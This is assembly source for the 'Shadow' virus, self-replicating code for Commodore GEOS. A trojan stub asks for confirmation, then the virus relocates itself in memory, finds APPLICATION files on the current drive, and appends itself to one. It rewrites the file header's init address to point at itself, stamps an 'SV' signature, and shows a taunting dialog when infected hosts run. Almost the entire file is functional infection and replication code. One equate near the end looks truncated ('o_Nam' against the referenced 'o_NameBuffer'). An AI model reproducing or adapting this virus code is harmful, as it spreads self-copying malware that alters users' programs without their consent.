;============================================================================= ; The "Shadow" virus: self-replicating code for Commodore GEOS ;============================================================================= ; Trojan to create the Shadow virus: a stub warns of what it is ; about to do and allows the user to cancel. If the virus is ; given the gift of life, control is passed to the infection code. ; The virus attaches itself to the end of files of type APPLICATION, ; replacing the initialization address in the file header with its own. ; Only files on the current drive are affected. ; ; revision history: ; 1.0 Original version. ; 1.1 06/2002 Reconstructed from hardcopy of source after being lost. ;-------------------------------------------------------------- .if Pass1 .noeqin .include geosSym .include geosMac .eqin .endif ;-------------------------------------------------------------- ; Trojan stub: ;-------------------------------------------------------------- lda #2 jsr SetPattern LoadB r2L, 0 LoadB r2H, 199 LoadW r3, 0 LoadW r4, 319 jsr Rectangle ; clear screen LoadW r0, askInfectDB jsr DoDlgBox lda r0L cmp #YES beq 10$ jmp EnterDeskTop 10$ jmp VirusStart ;-------------------------------------------------------------- askInfectDB: .byte DEF_DB_POS | 1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_1_Y .word ask1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_2_Y .word ask2 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_3_Y .word ask3 .byte YES .byte DBI_X_1, DBI_Y_2 .byte NO .byte DBI_X_2, DBI_Y_2 .byte 0 ask1: .byte "This program generates the ", $22, "Shadow", $22, 0 ask2: .byte "virus and allows it to procreate.", 0 ask3: .byte "Continue?", 0 ;-------------------------------------------------------------- ; Virus proper begins here; relocate to top of memory (to provide ; fixed addresses) and continue execution from there. ;-------------------------------------------------------------- VirusStart: PushB r0L ; load options PushW r2 ; r3 not trashed by MoveData WhereAmI: lda #[VirusStart sta r0L lda #]VirusStart sta r0H LoadW r1, $6000-(VirusEnd-VirusStart) LoadW r2, (VirusEnd-VirusStart) jsr MoveData jmp o_Continue ;-------------------------------------------------------------- ; save load options program was started with ;-------------------------------------------------------------- Continue: MoveW r3, o_r3Save pla sta o_r2Save pla sta o_r2Save+1 pla sta o_r0LSave MoveW o_InitHost+1, a9 ; gets changed during infection ;-------------------------------------------------------------- ; look for files to infect ;-------------------------------------------------------------- LoadW r6, o_NameBuffer LoadB r7L, APPLICATION LoadB r7H, 8 LoadW r10, 0 jsr FindFTypes lda #7 ; count from zero sec sbc r7H pha 20$ jsr o_Infect ; returns with carry set if an infection took place pla ; (doesn't affect carry flag) bcs BeSnotty ; only infect one file at a time tax dex bmi BeSnotty txa pha bpl 20$ pla ;-------------------------------------------------------------- ; horrify the user with the announcement that the host is infected, ; then restore host's load options and let it run. ;-------------------------------------------------------------- BeSnotty: php CmpWI a9, #EnterDeskTop ; is Trojan running? bne 26$ plp ; yes, it is bpl 25$ LoadW r0, o_NotFndDB ; nothing to infect jsr DoDlgBox bra 29$ 25$ bcc 29$ LoadW r0, o_GotOneDB jsr DoDlgBox bra 29$ ;-------------------------------------------------------------- 26$ plp ; infected host is running LoadW r0, o_SnottyDB jsr DoDlgBox MoveW o_r2Save, r2 MoveW o_r3Save, r3 MoveB o_r0LSave, r0L 29$ MoveW a9, o_InitHost+1 ; was changed for infection InitHost: jmp EnterDeskTop ; for Trojan only, actual virus replaces ; with jmp to hosts's original init address ;-------------------------------------------------------------- ; check to see if file is already infected ;-------------------------------------------------------------- Infect: tay beq 40$ sta r1L lda #17 sta r2L lda #0 sta r1H sta r2H ldx #r1 ldy #r2 jsr BBMult lda r1L 40$ clc adc #[o_NameBuffer sta r6L lda #]o_NameBuffer adc #0 sta r6H jsr FindFile LoadW r9, dirEntryBuf jsr GetFHdrInfo LoadW r1, fileHeader+O_GHFNAME LoadW r2, o_PermName ldx #r2 ldy #r1 jsr CmpString beq 45$ ; don't infect the Trojan lda fileHeader+O_GHSIG cmp #'S' ; is this file already infected? bne BeginInfect lda fileHeader+O_GHSIG+1 cmp #'V' bne BeginInfect 45$ clc ; if file is not to be infected, rts ; return with carry clear ;-------------------------------------------------------------- ; measure size of host to get virus init address for file header ;-------------------------------------------------------------- BeginInfect: MoveW dirEntryBuf+OFF_DE_TR_SC, r1 lda dirEntryBuf+OFF_GSTRUC_TYPE cmp #VLIR bne 50$ LoadW r4, diskBlkBuf jsr GetBlock ; get VLIR index block MoveW diskBlkBuf+2, r1 50$ LoadW r3, fileTrScTab jsr FollowChain ldx #0 ldy #0 60$ lda fileTrScTab, x beq 70$ iny ; no. of full sectors inx inx bne 60$ 70$ tya beq 80$ dey ; last pointer is to unfilled block 80$ txa pha ; save pointer to last block inx lda fileTrScTab, x ; no. bytes in last sector tax inx bne Adjust iny ; last sector is full ;-------------------------------------------------------------- ; compensate for the fact that there are only 254 bytes in a sector; ; add load address from the header to get absolute location of virus ;-------------------------------------------------------------- Adjust: stx a0L ; number of bytes in last sector sty a0H ; number of full sectors iny ; last sector's pointer as well tya asl a ; two pointer bytes per sector sta a1L lda a0L sec sbc a1L sta a0L lda a0H sbc #0 sta a0H AddW fileHeader+O_GHST_ADDR, a0 ;-------------------------------------------------------------- ; put virus signature and new (virus') init address in fileHeader; ; patch jsr to new host's init address and call to MoveData ;-------------------------------------------------------------- MoveW fileHeader+O_GHST_VEC, o_InitHost+1 ; original value was saved in a9 lda a0L sta fileHeader+O_GHST_VEC sta o_WhereAmI+1 ; for MoveData lda a0H sta fileHeader+O_GHST_VEC+1 sta o_WhereAmI+5 lda #'S' ; virus signature sta fileHeader+O_GHSIG lda #'V' sta fileHeader+O_GHSIG+1 ;-------------------------------------------------------------- ; get track and sector pointers for appending virus to host ;-------------------------------------------------------------- GetTnS: pla ; last entry in chain bne 90$ ; 0 if one-block file lda dirEntryBuf+OFF_DE_TR_SC sta r3L lda dirEntryBuf+OFF_DE_TR_SC+1 sta r3H bra 100$ 90$ tax dex dex ; track pointer to last block lda fileTrScTab, x sta r3L inx ; sector pointer lda fileTrScTab, x sta r3H inx ; null track pointer inx ; last-byte pointer 100$ lda fileTrScTab, x tax inx LoadW a0, o_VirusStart ldy #0 ;-------------------------------------------------------------- ; disk I/O routine to append virus to host ;-------------------------------------------------------------- Append: lda (a0), y sta diskBlkBuf, x iny bne 110$ inc a0H 110$ MoveW a0, a1 tya clc adc a1L sta a1L lda a1H adc #0 sta a1H CmpWI a1, o_VirusEnd beq AllDone ; all done, write last sector inx bne Append tya pha MoveW r3, a1 ; sector to re-write jsr SetNextFree lda r3L pha sta diskBlkBuf ; establish link to new sector lda r3H pha sta diskBlkBuf+1 MoveW a1, r1 LoadW r4, diskBlkBuf jsr PutBlock pla sta r3H pla sta r3L pla tay ldx #2 bne Append ;-------------------------------------------------------------- ; write last sector, update file header, and commit allocated sectors ;-------------------------------------------------------------- AllDone: lda #0 sta diskBlkBuf stx diskBlkBuf+1 MoveW r3, r1 LoadW r4, diskBlkBuf jsr PutBlock MoveW dirEntryBuf+OFF_GHDR_PTR, r1 LoadW r4, fileHeader jsr PutBlock ; update header jsr PutDirHead ; update BAM sec ; indicate infection performed rts ;-------------------------------------------------------------- ; snotty DB to let the user know the Shadow virus has had its way ;-------------------------------------------------------------- SnottyDB: .byte DEF_DB_POS | 1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_1_Y .word o_Snot1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_2_Y .word o_Snot2 .byte OK .byte DBI_X_2, DBI_Y_2 .byte 0 Snot1: .byte "Congratulations! This program has been", 0 Snot2: .byte "infected by the ", $22, "Shadow", $22, " virus!", 0 ;------------------------------------------------------------- ; too cautious: ran Trojan on an empty disk, let's give him a hint ;------------------------------------------------------------- NotFndDB: .byte DEF_DB_POS | 1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_1_Y .word o_Not1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_2_Y .word o_Not2 .byte OK .byte DBI_X_2, DBI_Y_2 .byte 0 Not1: .byte "No files to infect! The virus only", 0 Not2: .byte "infects files of type APPLICATION.", 0 ;-------------------------------------------------------------- ; success: tell user the Trojan infected a file, but not which one... ;-------------------------------------------------------------- GotOneDB: .byte DEF_DB_POS | 1 .byte DBTXTSTR .byte TXT_LN_X, TXT_LN_1_Y .word o_Got1 .byte OK .byte DBI_X_2, DBI_Y_2 .byte 0 Got1: .byte "Congratulations! A file was infected!", 0 ;-------------------------------------------------------------- ; Permanent name string (so Trojan can remain uninfected) ;-------------------------------------------------------------- PermName: .byte "ShadowVirus V1.1",0 ;-------------------------------------------------------------- ; data definitions ;-------------------------------------------------------------- r0LSave: .block 1 r2Save: .block 2 r3Save: .block 2 NameBuffer: .block 17*8 VirusEnd: .byte 0 ;-------------------------------------------------------------- ; equates for process tables (addresses taken from Boyce) ;-------------------------------------------------------------- PrcCntrs == $86f1 ; table of timeout counters PrcStat == $8719 ; table of process status bytes PrcDspch == $872d ; table of dispatch addresses PrcTime == $8755 ; table of initial time-out values PrcNum == $877d ; number of registered processes ;-------------------------------------------------------------- ; offset to virus signature in file header ;-------------------------------------------------------------- O_GHSIG == 94 ;-------------------------------------------------------------- ; offsets for instruction operands after code is relocated ;-------------------------------------------------------------- o_VirusStart == $6000-(VirusEnd-VirusStart) o_WhereAmI == (WhereAmI-VirusStart)+o_VirusStart o_Continue == (Continue-VirusStart)+o_VirusStart o_BeSnotty == (BeSnotty-VirusStart)+o_VirusStart o_InitHost == (InitHost-VirusStart)+o_VirusStart o_Infect == (Infect-VirusStart)+o_VirusStart o_BeginInfect == (BeginInfect-VirusStart)+o_VirusStart o_Adjust == (Adjust-VirusStart)+o_VirusStart o_GetTnS == (GetTnS-VirusStart)+o_VirusStart o_Append == (Append-VirusStart)+o_VirusStart o_AllDone == (AllDone-VirusStart)+o_VirusStart o_SnottyDB == (SnottyDB-VirusStart)+o_VirusStart o_Snot1 == (Snot1-VirusStart)+o_VirusStart o_Snot2 == (Snot2-VirusStart)+o_VirusStart o_NotFndDB == (NotFndDB-VirusStart)+o_VirusStart o_Not1 == (Not1-VirusStart)+o_VirusStart o_Not2 == (Not2-VirusStart)+o_VirusStart o_GotOneDB == (GotOneDB-VirusStart)+o_VirusStart o_Got1 == (Got1-VirusStart)+o_VirusStart o_r0LSave == (r0LSave-VirusStart)+o_VirusStart o_r2Save == (r2Save-VirusStart)+o_VirusStart o_r3Save == (r3Save-VirusStart)+o_VirusStart o_Nam == (NameBuffer-VirusStart)+o_VirusStart o_PermName == (PermName-VirusStart)+o_VirusStart o_VirusEnd == (VirusEnd-VirusStart)+o_VirusStart